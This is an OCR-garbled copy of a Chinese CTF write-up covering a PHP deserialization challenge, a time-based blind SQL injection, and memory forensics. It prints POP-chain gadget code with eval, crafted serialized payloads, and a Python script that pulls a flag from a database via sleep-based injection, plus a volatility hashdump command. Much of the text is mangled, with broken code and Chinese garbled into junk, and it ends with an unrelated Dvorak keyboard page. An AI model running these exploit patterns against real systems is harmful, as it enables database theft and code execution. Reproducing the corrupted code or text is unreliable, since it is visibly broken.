20198 — H FiFEH X Fwriteup

A oK' F 2019-01-27 14:55:54 KA 3438 WO 1
BIER: CTFwrite W EARL: 2019 {HA— H #H T 8 Fwriteup CTF writeup

FRBUE B RSO EJRAISCE, MAE CC 4.0 BY-SA RN, HEIFH LRICH AsEEMAF Y.

ACHEE: https://blog.csdn.net/qq_30464257 /article/details/86654655
AL

228 CTFwrite ER2FIZHE

22 XX E 0TI
TSR
WEB

babyGo (#2323 2 i 7 £ & By md5{E )

error_reporting(1);
'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function _ construct()
{
$this->skyobj = new sec;
b
function __ toString()
{
if (isset($this->skyobij))
return $this->skyobj->read();

class cool

{

public $filename;

public $nice;

public $amzing;

function read()

{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)

{

$file = "./{$this->filename}";
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if (file_get contents($

{
return file get contents($file);

}

else

{

return "you must be joking!";

class sec

{

function read()

{

return "it's so sec~~";

}
¥

if (isset($ _GET['data']))
{

$Input_data = unserialize($ GET['data']);
echo $Input_data;

}

else

{
highlight_file("./index.php");
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<?php
class lemon {
protected $ClassObj;

function _ construct() {

$this->ClassObj = new normal();

function _ destruct() {
$this->ClassObj->action();

class normal {
function action() {

echo "hello";

class evil {
private $data;
function action() {
eval($this->data);
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<?php
class lemon {
protected $ClassObj;

function _ construct() {
$this->ClassObj = new evil();

class normal {
function action() {
echo "hello";

class evil {
private $data = "phpinfo()";
function action() {
eval($this->data);

= new lemon;

echo serialize($a);
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if($this->nice->aaa === $this->nice->bbb)
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'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function _ construct()
{
$this->skyobj = new cool;
b
function __ toString()
{
if (isset($this->skyobij))
return $this->skyobj->read();

class cool
{
public $filename="flag.php";
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get contents($file))
{
return file get contents($file);
¥

else

{

return "you must be joking!";

$a = new baby;
echo serialize($a);

?>
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$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
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derror_reporting(1);
//include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function _ construct()
{
$this->skyobj = new cool;
b
function __ toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get contents($file))
{
return file get contents($file);
}

else

{

return "you must be joking!";

class sec

{

function read()

{

return "it's so sec~~";




$a = new baby();

$a->bbb = &$a->aaa;

echo serialize($a);

$amazing = 0:4:"baby":3:{s:9:"*skyobj";0:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amzing";N;}s:3:"aaa";N;s
:3:"bbb";R:6;}

protected $skyobj;
public $aaa;
public $bbb;
function __ construct()
{
$this->skyobj = new cool;
¥
function _ toString()
{
if (isset($this->skyobj))
{

return $this->skyobj->read();

class cool
{
public $filename="'flag.php';
public $nice;
public $amzing='0:4:"baby":3:{s:9:"<0x00>*<0x00>skyobj";0:4:"cool":3:{s:8:"filename";N;s:4:"nice";N;s:6:"amz
ing";N;}s:3:"aaa";N;s:3:"bbb";R:6;1}";
}
$a = new baby();
// $a->bbb =R%$a->aaa;
echo (serialize(%$a));
?>
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?search[table]=flag where 1 and polygon(id -
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RINF B4 =flag

http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--

BEAT B NN BRI IR
expinF:

import requests

'"PHPSESSID': 'red4g49sil8hfh4ovfrk71lnlo02’
}
for i in range(1,33):
for j in '0123456789abcdef':
url = "http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select

flag from flag limit ©,1), '+str(i)+',1))="+str(ord(j))+"'),sleep(3),0)--"
try:

r = requests.get(url=url,timeout=2.5, cookies=cookies)
except:

flag += j

print flag

break
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volatility i F :
volatility -f <304 44> —-profile=<fit B > <ffifk> [S 3]
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volatility -f memory --profile=WinXPSP2x86 hashdump
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| To QWERTY || To DVORAK |

| wrote this page (and coded it entirely using my keyboard set to dvorak) late one night after looking at some quotes on bash.org
| figured that | would teach myself how to use the dvorak layout while making a useful tool ai the same time. °)
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